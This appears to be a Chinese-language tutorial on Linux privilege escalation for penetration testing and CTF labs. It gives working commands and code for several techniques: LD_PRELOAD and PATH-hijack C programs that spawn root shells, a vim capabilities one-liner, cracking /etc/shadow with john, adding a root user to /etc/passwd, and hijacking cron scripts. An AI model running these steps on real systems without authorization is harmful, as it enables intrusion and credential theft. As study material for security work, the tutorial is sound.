文章目录
Linux提权基础
枚举信息收集
hostname
hostname 命令将返回目标机器的主机名。虽然这个值可以很容易被改变或者会显示为一个相对无意义的字符串(例如 Ubuntu-3487340239),但是在某些情况下,它可以提供有关目标系统在公司网络中的角色的信息(例如,用于生产环境下的 SQL 服务器的SQL-PROD-01)。
uname -a
使用该命令将打印系统信息,为我们提供有关系统使用的内核的更多详细信息;这在搜索可能导致权限提升的任何潜在内核漏洞时非常有用。
cat /proc/version
proc 文件系统 (procfs) 会提供有关目标系统进程的信息。查看 /proc/version 可能会为你提供有关目标系统的内核版本和其他数据的信息,例如是否安装了编译器(如GCC)。
cat /etc/issue
也可以通过查看/etc/issue文件来获取系统信息,该文件通常会包含有关操作系统的一些信息,但可以进行轻松定制或更改。为了更清楚地了解目标系统,有一定必要查看该文件内容。
cat /etc/os-release
查看/etc/os-release文件内容,可知linux发行版本等相关信息。
ps Command
ps 命令是查看 Linux 系统上正在运行的进程的有效方法。 在终端上键入ps 将显示当前 shell 的进程。
ps(Process Status-进程状态)的输出将显示以下内容;
PID:进程ID(进程唯一)
TTY:用户使用的终端类型
Time:进程使用的 CPU 时间量(这不是该进程运行的时间)
CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)
“ps”命令提供了一些有用的选项。
ps -A
:查看所有正在运行的进程
ps axjf:查看进程树(在下面运行 ps axjf 之前查看树的形成)
ps aux
:aux选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未连接到终端的进程 (x)。 通过查看 ps aux 命令的输出,我们可以更好地了解系统和潜在的漏洞。
env
env 命令将显示环境变量。
PATH 变量可能包含编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于权限提升。
sudo -l
目标系统可以配置为允许用户以 root 权限运行一些(或全部)命令,sudo -l 命令可用于:列出你当前登陆的用户可以使用 sudo 运行的所有命令。
ls
ls是Linux系统中的常用命令之一。
在寻找潜在的权限提升向量时,请记住始终使用带有 -la 参数的 ls 命令。下面的示例显示了:如果简单地使用 ls 或 ls -l 命令会遗漏“secret.txt”文件;所以需要使用ls -la
命令。
id
id 命令将提供用户权限级别和组成员身份的一般概述;id 命令也可以用于为另一个用户获取相同的信息,如下所示。
cat /etc/passwd
读取 /etc/passwd 文件是发现系统用户的一种简单方法。
虽然输出可能很长而且有点吓人,但它可以很容易地被剪切并转换为用于暴力破解的有效用户列表:cat /etc/passwd | cut -d ":" -f 1
cut截取字符串
-d定义分隔符,这里是":"
-f表示需要取哪个字段,这里是1,取第一个字段
以上命令的效果会返回目标系统相关的所有用户,其中有一些是不常用的系统用户或服务用户。
另一种使用方法是通过grep命令查找“home”,因为真实用户很可能会将他们的文件夹放在“home”目录下。
cat /etc/passwd | grep home
history
使用 history 命令可以查看当前用户早期使用过的命令,可以让我们对目标系统有所了解,而且history命令的结果中 可能已经存储了诸如密码或用户名之类的关键信息。
ifconfig
目标系统可能是另一个网络的枢纽点。
使用ifconfig命令将为我们提供有关系统网络接口的信息。 下面的示例显示目标系统具有三个接口(eth0、tun0 和 tun1);我们的攻击机可以访问eth0接口,但不能直接访问另外两个网络。
可以使用ip route
命令来确认,以查看存在哪些网络路由。
netstat
在对现有接口和网络路由进行初步检查之后,还值得研究一下现有的通信连接。netstat 命令可以与几个不同的选项一起使用,以收集有关现有连接的信息。
netstat -a
:显示所有正在侦听的端口和已建立的连接。
netstat -at
或者netstat -au:可用于分别列出 TCP 或 UDP 协议。
netstat -l
:以“监听”模式列出端口,这些端口都已打开并准备好接受传入连接。 可以与“t”选项一起使用,仅列出使用TCP协议侦听的端口。
netstat -s:按协议列出网络使用统计信息 ,也可以与 -t 或 -u 选项一起使用,以将输出限制为特定协议。
netstat -tp:列出带有服务名称和 PID 信息的连接。
这也可以与 -l 选项一起使用来列出正在监听的端口(如下)
我们可以看到“PID/Program name”列是空的,因为该进程由另一个用户拥有
netstat -i
:显示接口统计信息。 我们在下面看到“eth0”和“tun0”比“tun1”更活跃。
可能你在博客文章、Write-up和一些课程中最常看到的 netstat 用法是 netstat -ano ,它可以细分如下:
-a:显示所有套接字
-n:不解析名称
-o:显示计时器
find Command
使用内置的"find"命令,在目标系统中搜索重要信息和潜在的权限提升向量可能会很有成效。
下面是“ find”命令的一些有用示例。
查找文件:
find . -name flag1.txt :在当前目录中查找名为“flag1.txt”的文件
find /home -name flag1.txt:在 /home 目录中查找名为“flag1.txt”的文件
find / -type d -name config:在“/”下找到名为config的目录
find / -type f -perm 0777:查找具有 777 权限的文件(所有用户可读、可写和可执行的文件)
find / -perm a=x:查找可执行文件
find /home -user frank:在“/home”下找到用户“frank”的所有文件
find / -mtime 10:查找过去 10 天内修改过(modified )的文件
find / -atime 10:查找过去 10 天内访问过(accessed )的文件
find / -cmin -60:查找在过去一小时(60 分钟)内更改(changed )的文件
find / -amin -60:查找过去一小时(60 分钟)内访问过(accesses )的文件
find / -size 50M:查找大小为 50 MB 的文件
此命令还可以与 (+) 和 (-) 符号一起使用,以指定查找大于或小于给定大小的文件。
内核漏洞提权
内核漏洞利用方法:
- 识别内核版本
- 搜索并找到目标系统内核版本的漏洞利用代码
- 运行漏洞利用代码–执行相关exp
虽然看起来很简单,但请记住,失败的内核漏洞利用可能会导致系统崩溃;在尝试进行内核漏洞利用之前,请确保此潜在结果在你的渗透测试参与范围内是可接受的。
exp来源:
- 根据你收集的目标系统相关信息,你可以使用 Google 搜索现有的漏洞利用代码。
- 使用 https://www.linuxkernelcves.com/cves 等网站查找exp也很有用。
- 另一种选择是使用 LES(Linux Exploit Suggester)之类的脚本,但请记住,这些脚本工具可能会产生误报(报告内容会显示不影响目标系统的内核漏洞)或漏报(尽管系统内核易受攻击,但不报告任何相关的内核漏洞)。
部分过程:
此处使用searchsploit查找相关的漏洞exp:
searchsploit Linux Kernel 3.13 #根据信息收集结果修改内核版本
复制exp文件到当前工作目录下:
searchsploit -m linux/local/37292.c
编译c文件:
gcc 37292.c -o foothold
Sudo提权
任何用户都可以使用
sudo -l
命令检查其当前与 root 权限相关的情况
此提权方法即劫持可sudo执行的程序
https://gtfobins.github.io/
是一个有价值的资源,它提供了有关如何使用你可能拥有 sudo 权限的任何程序(进行提权或者渗透)的信息。
提权思路:
sudo -l
查询有权限的进程- 前往
https://gtfobins.github.io/
查询提权方法
nmap提权
假设已通过
sudo -l
确定nmap有sudo权限
在https://gtfobins.github.io/查询提权方法:
给出了两种提权方式,选择合适版本的方法即可提权
-f报错回显
某些应用程序可能不会有已知的漏洞利用,如Apache2 服务器。
在这种情况下,我们可以使用“hack技巧”来利用应用程序的功能来获取泄漏的信息。 正如你在下面所看到的,Apache2 有一个支持加载替代配置文件的选项(-f
:指定替代 ServerConfigFile)。
如果使用此选项来加载/etc/shadow文件将导致出现错误消息,而在错误消息中会包括/etc/shadow文件的第一行,我们就能获取到shadow 文件的部分信息。
ld_preload
使用条件:使用sudo -l检查时,LD_PRELOAD使用了 env_keep 选项
这个提权向量的步骤可以总结如下:
- 检查 LD_PRELOAD(通过输入命令sudo -l查看:LD_PRELOAD是否使用了 env_keep 选项)
- 编写能够被编译为共享对象(.so 扩展名)文件的简单 C 代码; 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD
- 选项运行程序。
编写.c文件:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD"); #清除已有的ld_preload
setgid(0);
setuid(0); #设置root权限
system("/bin/bash"); #生成shell
}
用 gcc 使用以下参数将其编译为共享对象文件shell.so:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
由sudo -l结果可知,我们有find进程的sudo权限,所以把.so文件加载进去:
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
这样就生成了具有root权限的shell:
有关ld_preload具体信息见 “命令执行篇”
SUID提权
SUID和SGID将会允许某个文件以文件所有者或组所有者的权限级别被执行。这意味着,即使是普通用户运行该文件,也可以获得拥有者的特权。
显然,随意的suid配置是不安全的。比如给nano设置了suid,则会导致越权访问或编辑任意文件;又如为base64设置了suid,则可以用
base64 "$FILE" | base64 --decode
实现任意文件读取
寻找突破点
find / -type f -perm -04000 -ls 2>/dev/null
将上述命令中的-04000换成-02000,则是查找设置了SGID位的文件
与GTFOBins比较
前往https://gtfobins.github.io查询提权方式,如查询nano+suid、base64+suid
(例)nano提权
不幸的是,GTFObins 并没有为我们提供可以使用的提权方法。在典型的现实生活中的特权升级场景下,我们需要找到中间步骤来帮助我们利用已知的任何微小的发现
我们有两个基本的权限提升选项:读取并破解密码、将我们的用户添加到 /etc/passwd。
破解密码
/etc/passwd中写有用户信息,/etc/shadow是它的影子,写有用户名及密码的哈希,必须要root权限才能查看,可以用john破解
(首先需要使用John提供的的unshadow命令,因为john 对于需要使用的数据格式有一定要求,所以我们需要使用unshadow指令,合并/etc/passwd的数据和/etc/shadow的数据)
即得到两者才能破译密码
使用nano保存下两文件,并用unshadow合并:
unshadow passwd.txt shadow.txt > pass.txt
使用john破解:
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
添加新root用户
另一种选择是添加一个具有 root 权限的新用户。 这将帮助我们避开繁琐的密码破解过程。 下面是一个简单的方法:
我们需要提供给新用户一个密码的哈希值,这可以使用 Kali Linux 上的 openssl 工具快速完成:
openssl passwd -1 -salt THM password1
盐值随意
然后,我们用nano将密码和用户名添加到/etc/passwd文件中:
在/etc/passwd中密码是用x代替而隐藏的,但也可以直接写入
添加我们的用户后(请注意使用root:/bin/bash 来提供 root shell),我们切换到该用户并可以成功拥有 root 权限:
su hacker
文件能力(Capabilities)提权
Capabilities是linux的一种访问控制能力,能够更精细化的将操作系统权限赋权给应用程序,其中就包括设置uid和gid的权限。因此具备cap_setuid和cap_setgid权限的程序可以用来进行权限提升。
我们可以使用 getcap 工具列出已经启用的Capabilities(功能):
getcap -r / 2>/dev/null
如果我们找到已经设置了cap_setuid的命令或者文件,可以通过使用GTFObins 的二进制文件列表来查找信息并尝试提升权限。
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
拿到了root的shell
Cron job提权
Cron Jobs可用于在特定时间运行脚本或二进制文件,即定时任务,同windows下的scheduled task提权;默认情况下,它们以其所有者而不是当前用户的权限运行。 虽然正确配置的 cron jobs本身并不容易受到攻击,但它们可以在某些情况下提供权限提升向量。
利用Cron Jobs提升权限的思路很简单:如果有一个以 root 权限运行的定时任务,我们就可以尝试更改原本将要运行的脚本,那么经过我们修改之后的脚本将能够以 root 权限运行,即劫持脚本文件。
Cron jobs配置会存储为 crontab(cron 表),通过此表能查看任务将运行的下一次时间和日期。任何用户都可以读取保存在系统范围内的/etc/crontab中的cron jobs文件。
cat /etc/crontab
虽然 CTF中的目标机器可以每分钟或每 5 分钟运行一次 cron 任务,但在实际的渗透测试活动中,你会更经常地看到每天、每周或每月定时运行的cron任务。
你可以看到 backup.sh 脚本被配置为每分钟运行一次,该文件的内容是一个简单的脚本,该脚本的作用是创建 prices.xls 文件的备份。
由于我们当前的用户可以访问这个脚本,我们可以轻松地修改它以创建一个反向 shell 并以此获取 root 权限。
该脚本将使用目标系统上可用的工具来启动反向 shell:
记着给可执行权限
chmod +x script.sh
Crontab 总是值得检查的
,因为它有时会成为简单的权限提升向量;在没有一定网络安全成熟度级别的公司中,以下情况并不少见:
-
系统管理员需要定期运行脚本;
他们会创建一个 cron 任务来执行此操作;
一段时间后,脚本变得无用,他们会选择将其删除;
但是他们没有清理相关的 cron 任务,并且并未指明路径。
这些管理问题将会导致cron 任务成为潜在的可利用漏洞。
上面的示例显示了类似的情况,即删除了 antivirus.sh 脚本,但 cron 任务仍然存在。
如果未定义脚本的完整路径( backup.sh 脚本有定义完整的路径),cron 将引用 /etc/crontab 文件中的 PATH 变量下列出的路径;在这种情况下,我们可以尝试在用户的主文件夹(home)下创建一个名为“antivirus.sh”的脚本,然后让它作为 cron 任务运行。最终传入的反向 shell 连接能够帮助我们成功获取 root 权限。
一旦你发现现有的脚本或任务被附加到cron jobs,那么就值得花时间去了解相关脚本的功能以及如何在上下文中使用工具对cron jobs进行利用。 例如,tar、7z、rsync 等都可以使用它们的通配符功能对cron jobs加以利用。
PATH环境变量提权
如果对于当前用户而言具有写入权限的文件夹位于PATH环境变量下,你就能尝试劫持应用程序以运行指定脚本。如果没有任何一个有写入权限,也可以尝试将自己创建的脚本路径添加到PATH中。
提权过程:
- 哪些文件夹位于 $PATH 下
- 你当前的用户是否对这些文件夹中的任何一个具有写入权限?
- 你能修改 $PATH 吗?
- 是否有可以启动的脚本/应用程序会受此漏洞影响?
查看PATH环境变量:
echo $PATH
创建可执行文件:
#include<unistd.h>
void main()
{
setuid(0);
setgid(0); //伪造root身份
system("thm");
}
编译:
创建提权脚本:
即创建用system执行的thm
内容为:/bin/bash
,因为设置了suid,所以会启动一个root shell
寻找PATH中可编辑的文件替换为该脚本:
先列出可编辑文件:
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
再与echo $path
的结果比较即可
path中有现成的可劫持文件
分配可执行权限:
chmod 777 thm
最后执行path脚本即可拿到root shell
path中无现成的可劫持文件
最容易写入的文件夹可能是 /tmp,但是因为 /tmp 不在 PATH环境变量中,所以我们需要添加它。 我们使用
export PATH=/tmp:$PATH
来完成环境变量添加。
最后也是执行path脚本